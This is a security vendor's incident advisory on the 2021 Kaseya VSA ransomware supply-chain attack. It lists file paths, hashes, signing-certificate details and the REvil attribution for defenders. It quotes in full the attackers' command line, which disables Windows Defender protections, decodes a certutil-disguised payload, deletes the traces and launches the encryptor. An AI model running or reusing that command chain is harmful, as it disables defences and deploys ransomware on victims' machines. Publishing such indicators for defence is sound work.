SpearTip’s engineers have become aware of an urgent ransomware attack in progress affecting Kaseya VSA. The only way to prevent breaches is to block Kaseya VSA whether you’re using the cloud or utilizing the solution internally. Kaseya is currently pushing a hotfix for this issue.
Kaseya provides IT management software to MSPs.
According to security researchers, a ransomware encryptor is being dropped to c:\kworking\agent.exe. The VSA fix is being named “Kaseya VSA Agent Hot-fix” and at least two tasks are running:
“C:\WINDOWS\system32\cmd.exe” /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
A digital copy of the encryptor is being digitally signed with a valid signature with this information:
-
Name: PB03 TRANSPORT LTD.
-
Email: [email protected]
-
CN = Sectigo RSA Code Signing CAO = Sectigo LimitedL = SalfordS = Greater ManchesterC = GB
-
Serial #: 119acead668bad57a48b4f42f294f8f0
-
Issuer: https://sectigo.com/
When the executable runs, these files are being dropped into the hardcoded path c:\Windows:
-
MsMpEng.exe– Named to impersonate the Windows Defender executable and hide encryption process. (This executable usually runs in Program Files) -
mpsvc.dll
Confirmed IoCs:
- MD5561CFFBABA71A6E8CC1CDCEDA990EAD4
- SHA15162F14D75E96EDB914D1756349D6E11583DB0B0
- d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e
- 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd
- e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2
- MsMpEng Hash: sha256,33BC14D231A4AFAA18F06513766D5F69D8B88F1E697CD127D24FB4B72AD44C7A
- Mpsvc[.]dll Hash: sha256,8DD620D9AEB35960BB766458C8890EDE987C33D239CF730F93FE49D90AE759DD
Other files involved:
- C:\windows\cert.exe
- 36a71c6ac77db619e18f701be47d79306459ff1550b0c92da47b8c46e2ec0752
- C:\windows\msmpeng.exe33bc14d231a4afaa18f06513766d5f69d8b88f1e697cd127d24fb4b72ad44c7a
- C:\kworking\agent.crt
- C:\Windows\mpsvc.dll
- 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd
- C:\kworking\agent.exe
- d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e
Additional information added 4:25 CT, Fri, Jul 2:
VSA user admin accounts are being disabled just moments before ransomware is being deployed. VSA security notifications indicated the “KEleveted######” account, which is an SQL user, performed this action. Evidence likely points to execution via SQL commands.
Digital Signature used by ransomware operators:
Name PB03 TRANSPORT LTD.
Issuer Sectigo RSA Code Signing CA
Thumbprint 11FF68DA43F0931E22002F1461136C662E623366
Serial Number 11 9A CE AD 66 8B AD 57 A4 8B 4F 42 F2 94 F8 F0
To enable preventing communications via the firewall, use Kaseya’s Cloud Addresses and Ports listing.
Based on forensic investigations of the intrusion, there are strong connections to the REvil ransomware group or affiliates. REvil has targeted at least 6 large MSPs through the supply-chain attack on Kaseya’s VSA servers.
If your organization is utilizing this service and need assistance in preventing this ransomware from spreading, call our 24/7 Security Operations Center at 833.997.7327.
Kaseya released this statement in regards to the VSA service, “We are experiencing a potential attack against the VSA that has been limited to a small
number of on-premise customers only as of 2:00 PM EDT today. We are in the process of investigating the root cause of the incident with an abundance of caution but we recommend that you IMMEDIATELY shutdown your VSA server until you receive further notice from us. It’s critical that you do this immediately, because one of the first things the attacker does is shutoff administrative access to the VSA.”
*More information will be added to this article as our engineers investigate*
